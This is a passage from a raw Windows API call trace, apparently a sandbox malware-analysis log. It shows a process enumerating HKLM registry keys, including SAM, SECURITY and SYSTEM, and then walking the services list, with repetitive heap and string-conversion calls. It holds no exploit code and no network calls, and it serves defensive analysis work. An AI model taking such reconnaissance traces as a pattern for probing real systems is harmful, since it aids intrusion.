(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.917] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.918] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0215.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0215.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.918] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0215.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0215.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.918] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0215.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0215.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.918] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0215.919] RegCloseKey (hKey=0x80000002) returned 0x0 [0215.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0215.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0215.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0215.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0215.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0215.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0215.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0215.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0215.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0215.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.921] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0215.921] RegCloseKey (hKey=0x148) returned 0x0 [0215.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0215.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0215.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0215.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.923] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0215.923] RegCloseKey (hKey=0xc4) returned 0x0 [0215.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0215.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0215.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0215.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0215.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0215.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0215.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, 